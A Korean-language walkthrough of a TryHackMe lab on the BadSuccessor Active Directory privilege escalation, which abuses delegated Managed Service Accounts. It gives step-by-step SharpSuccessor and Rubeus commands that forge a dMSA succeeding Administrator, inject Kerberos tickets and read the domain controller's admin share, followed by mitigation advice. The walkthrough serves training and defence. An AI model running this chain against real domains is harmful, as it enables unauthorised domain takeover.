Active-Directory-BadSuccessor

개요

이 룸에서는 Active Directory의 위임된 관리 서비스 계정(dMSA)을 악용하는 취약점인 BadSuccessor 권한 상승 기법을 살펴봅니다. 이 공격을 통해 dMSA 개체에 대한 충분한 제어 권한을 가진 사용자는 다른 계정을 가장하고 잠재적으로 도메인 관리자 권한을 획득할 수 있습니다.

룸 정보

Room: https://tryhackme.com/room/adbadsuccessor

난이도: 중간

날짜: 05/06/2026

버전: 1.0

목적: 위임된 관리 서비스 계정이 어떻게 악용되어 권한을 상승시키고 Active Directory 환경을 손상시킬 수 있는지 시연합니다.

역할: Terry Byte (tbyte)

목표: 새로 배포된 Active Directory 환경의 보안을 평가하고 BadSuccessor 공격에 취약한지 확인합니다.

공격 경로

이 공격은 두 가지 주요 단계로 구성됩니다:

1. 정찰.
2. dMSA 악용을 통한 권한 상승

정찰

1단계 - 대상 머신에 연결

• 제공된 Windows 워크스테이션에 RDP를 사용하여 연결합니다:

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• 인증 후 PowerShell을 엽니다.

2단계 - 작업 디렉터리로 이동

• PoC 디렉터리로 이동합니다:

  root@kitploit:~

  cd C:\PoC
  

• 내용을 확인합니다: dir

3단계 - 열거 스크립트 확보

• Akamai의 BadSuccessor 저장소에서 PowerShell 스크립트를 다운로드합니다:

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• 메모장(Notepad)을 사용하여 스크립트를 만들거나 편집합니다:

notepad Get-BadSuccessorOUPermissions.ps1

• 내용을 붙여넣고 파일을 저장합니다.

4단계 - OU 권한 열거

• 스크립트를 실행합니다:

 .\Get-BadSuccessorOUPermissions.ps1

• 출력에는 위임된 관리 서비스 계정을 잠재적으로 악용할 수 있는 권한을 가진 계정이 표시됩니다.
• 스크립트가 반환한 세 번째 계정을 확인합니다.
• 이 계정은 권한 상승 단계에서 사용됩니다.

Windows를 사용한 악용

1단계 - 악성 dMSA 생성

• SharpSuccessor를 사용하여 Administrator 계정을 가장하는 위임된 관리 서비스 계정을 생성합니다:

  root@kitploit:~

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

어떤 일이 발생하나요?

• 이 도구는 새 dMSA 개체를 만들고 Administrator 계정을 승계하도록 구성합니다.
• 이를 통해 권한 상승의 기반이 마련됩니다.

2단계 - Kerberos TGT 요청

• Rubeus를 사용하여 위임된 티켓 부여 티켓(TGT)을 획득합니다:

  root@kitploit:~

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• 이 명령은 Base64로 인코딩된 Kerberos 티켓을 반환합니다.

• 생성된 티켓을 복사합니다.

3단계 - dMSA 계정 가장

• 위임된 TGT를 사용하여 새로 생성된 dMSA 계정으로 티켓을 요청합니다:

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

결과:

dMSA 계정에 대한 새 Kerberos 티켓이 메모리에 주입됩니다.

4단계 - Administrator로 서비스 티켓 요청

• dMSA 티켓을 활용하여 Administrator 컨텍스트에서 실행 중인 서비스에 대한 액세스 권한을 얻습니다:

  root@kitploit:~

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

결과:

• CIFS 서비스 티켓이 메모리에 로드됩니다.
• 이 티켓은 일반적으로 도메인 관리자 권한이 필요한 리소스에 대한 액세스를 제공합니다.

5단계 - Administrator 데스크톱 액세스

• 도메인 컨트롤러에서 Administrator 프로필을 탐색하여 상승된 액세스를 확인합니다:

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• 디렉터리 목록이 성공적으로 표시되면 관리자 수준의 액세스가 확인됩니다.

6단계 - 플래그 획득

• Administrator 데스크톱에 저장된 플래그를 읽습니다:

  root@kitploit:~

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• 플래그를 성공적으로 획득했습니다.

BadSuccessor가 중요한 이유

BadSuccessor는 위임된 관리 서비스 계정이 Active Directory 환경에서 권한 상승 경로를 만들 수 있음을 보여줍니다. Active Directory는 많은 조직의 정체성(identity) 기반 역할을 하며, Kerberos 및 계정 위임에 영향을 미치는 취약점은 심각한 결과를 초래할 수 있습니다.

dMSA 개체에 대해 충분한 권한을 가진 공격자는 다음을 수행할 수 있습니다:

• 권한 있는 사용자 가장
• 상승된 Kerberos 티켓 획득
• 민감한 리소스에 액세스
• 도메인 관리자로 권한 상승
• 잠재적으로 전체 Active Directory 포리스트 손상

완화 권장 사항

BadSuccessor(CVE-2025-53779)를 완화하기 위해 조직은 Microsoft의 보안 업데이트를 신속하게 적용하고, dMSA 권한을 제한 및 검토하며, 의심스러운 Kerberos 활동을 모니터링하고, 위임 관계를 감사하며, 최소 권한 원칙을 적용해야 합니다. Active Directory 위임 설정을 정기적으로 검토하면 잠재적인 권한 상승 경로를 식별하고 줄이는 데 도움이 될 수 있습니다.

주요 시사점

이 룸에서는 다음과 같은 실습 경험을 얻을 수 있었습니다:

• Active Directory 권한 상승
• 위임된 관리 서비스 계정(dMSA)
• Kerberos 인증 악용
• Rubeus 티켓 작업
• SharpSuccessor 악용
• 사후 악용 검증 기법